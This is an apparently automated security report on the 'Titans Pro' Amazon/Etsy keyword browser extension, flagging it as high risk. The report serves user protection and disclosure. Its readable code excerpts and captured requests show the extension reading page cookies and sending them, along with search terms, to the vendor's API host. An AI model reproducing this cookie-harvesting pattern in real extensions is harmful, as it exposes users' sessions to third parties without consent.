Is Titans Pro: Amazon KDP Keyword Tool - Quick View, Niche Finder, Search Vol safe?

High risk

Titans Pro sends Amazon and Etsy search data, page URLs, and cookies to go.selfpublishingtitans.com.

When used on Amazon, it posts searched text, search-result metrics, host details, and document cookies from the page to Self Publishing Titans APIs. On Etsy, it puts keyword, page URL-derived host data, language, and document cookies into a GET request to the same service, then uses a Self Publishing Titans WebSocket for suggestions.

https://selfpublishingtitans.com/v1.6.16Chrome Web Store
77Risk
Who publishes it

https://selfpublishingtitans.com/ - 2 other listings from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
https://selfpublishingtitans.com/

Same store account

2 other listings published from this account, 110k+ users between them. 1 of them carries a finding.

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

selfpublishingtitans.com
Also called by 2 other listings, including Digital Titans: Easy Keyword Research

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Etsy keyword tool puts cookies in a GET URL

When the Etsy keyword feature runs, the extension reads the entered keyword, Etsy hostname, browser language, and page cookies, then appends them to a GET URL for Self Publishing Titans, putting cookie data in the query string, not a body.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You use the Etsy keyword feature while an Etsy page is open.

The extension did this

The extension puts Etsy cookies, keyword input, hostname, and language into a Self Publishing Titans GET URL.

Fields appended to the Etsy keyword URL
  • Etsy page cookies
    uaid=8c4f1e2b0a7d4c6e9f102938; user_prefs=currency=USD (illustrative)

    These values can connect the request to your Etsy browsing session or site state.

  • Keyword input
    wedding planner printable

    This shows the term you entered into the extension keyword tool.

  • Etsy page hostname
    www.etsy.com

    This identifies the Etsy page context where the feature ran.

  • Browser language
    en-US

    This adds locale context to the keyword request.

Captured request
GEThttps://go.selfpublishingtitans.com/api/v1/etsy/keywords

The code expects JSON containing a token used to open the Etsy suggestion WebSocket.

The code that does this

Etsy script moves cookies into URL search parameters

Readable version

Readable Etsy keyword flow

content-scripts/etsysearch.js
function buildEtsyKeywordRequest(token, payload) {  const url = new URL(BASE_URL + "/api/v1/etsy/keywords");  Object.keys(payload).forEach((key) => url.searchParams.append(key, payload[key]));  return {    headers: {      "Content-Type": "application/json",      Authorization: "Bearer " + token,    },    url: url.toString(),    method: "GET",  };}async function handleEtsySearch() {  if (!keyword || keyword.length < 3 || keyword.length > 100 || isLoading || !userToken) return;  setError(null);  setRows([]);  setSuggestions([]);  setLoading(true);  const payload = {    keyword,    hostname: hostnameFromUrl(window.location.href),    language: window.navigator.language,    cookies: document.cookie,  };  const response = await sendMessage("handleApiRequests", buildEtsyKeywordRequest(userToken, payload));  if (response.data.token !== "") {    const websocketToken = response.data.token;    if (!websocketToken) {      setLoading(false);      setKeyword("");      setError("Error: Unable to get token");      return;    }    openEtsySuggestionSocket(websocketToken);    startProgressTimer();  }}
External host receiving Etsy keyword traffic
    • go.selfpublishingtitans.com

    Self Publishing Titans API host receiving the Etsy keyword query and serving the follow-up suggestion WebSocket.

Amazon keyword tooling transmits page cookies

When the Amazon keyword or quick-view features run, the extension sends current Amazon page cookies to Self Publishing Titans APIs, along with search text, marketplace context, page hostname, and search-result stats.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You use the Amazon keyword or quick-view tools while viewing Amazon search results.

The extension did this

The extension sends Amazon cookies together with search terms and page statistics to Self Publishing Titans.

Fields placed in the Amazon API payloads
  • Amazon page cookies
    session-id=123-4567890-1234567; ubid-main=135-2468135-9753146 (illustrative)

    These values can connect the request to your Amazon browsing session or site state.

  • Search text
    children activity book

    This shows the keyword or product niche you entered into the extension tool.

  • Amazon marketplace
    hostname=www.amazon.com; mid=ATVPDKIKX0DER

    This identifies which Amazon site and marketplace the extension is reading.

  • Page result context
    search_result=50000; avg_bsr=18234; avg_reviews=146; avg_price=12.99

    This describes the Amazon search results visible on the page when the tool runs.

Captured request
POSThttps://go.selfpublishingtitans.com/api/v1/chrome/suggestions

The code expects a JSON response containing suggestion rows or table_list data.

The code that does this

Amazon scripts put document cookies into vendor API requests

Readable version

Readable keyword suggestions flow

content-scripts/search.js
async function runAmazonKeywordSearch() {  if (!keyword) {    alert("Please enter a keyword to search");    return;  }  if (!userToken) return;  try {    setLoading(true);    setError(null);    setRows([]);    const request = {      url: BASE_URL + "/api/v1/chrome/suggestions",      method: "POST",      body: {        searchedText: keyword,        language: getLanguage(),        hostname: amazonHostname,        mid: marketplaceId(amazonHostname),        cookies: document.cookie,      },      headers: { Authorization: "Bearer " + userToken },    };    let response;    let usedFreeEndpoint = false;    try {      response = await sendMessage(HANDLE_API_REQUESTS, request);    } catch {      request.url = BASE_URL + "/api/v1/chrome/free-suggestions";      response = await sendMessage(HANDLE_API_REQUESTS, request);      usedFreeEndpoint = true;    }    const rows = response.data.table_list || response.data;    renderSuggestionRows(rows, usedFreeEndpoint);  } catch (error) {    setError("server error");  } finally {    setLoading(false);  }}

Readable quick-view statistics flow

content-scripts/quick-view.js
const buildBsrResultsRequest = (token, body, browserFingerprint) => ({  url: BASE_URL + "/api/v1/chrome/bsr-results",  method: "POST",  headers: {    "Content-Type": "application/json",    Authorization: "Bearer " + token,    "X-Browser-Fingerprint": browserFingerprint,  },  body,});async function sendAmazonSearchStats(products, token) {  const priceStats = average(products, "price");  const reviewStats = average(products, "ratings");  const bsrStats = average(products, "bsr");  const searchBox = document.getElementById("twotabsearchtextbox");  const searchResultCount = readSearchResultCount();  const body = {    search_text: searchBox?.value || "",    search_result: searchResultCount,    mid: marketplaceId(window.location.hostname),    hostname: window.location.hostname,    cookies: document.cookie,    avg_bsr: bsrStats.avg,    avg_reviews: reviewStats.avg,    avg_price: priceStats.avg,  };  const response = await sendBsrResults(token, body);  updateSearchVolume(response.data.searchVolume);  return response;}
External host receiving the Amazon payloads
    • go.selfpublishingtitans.com

    Self Publishing Titans API host receiving Amazon keyword suggestions and quick-view search statistics.

Where it sends data

Destinations our analysis observed Titans Pro: Amazon KDP Keyword Tool - Quick View, Niche Finder, Search Vol contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • go.selfpublishingtitans.com

    Titans Pro: Amazon KDP Keyword Tool - Quick View, Niche Finder, Search Vol sends data to go.selfpublishingtitans.com. One other extension we have analysed sends data here.

Updated 30 September 2026efdbcjcbgmadkmmcoojnncednmkelcli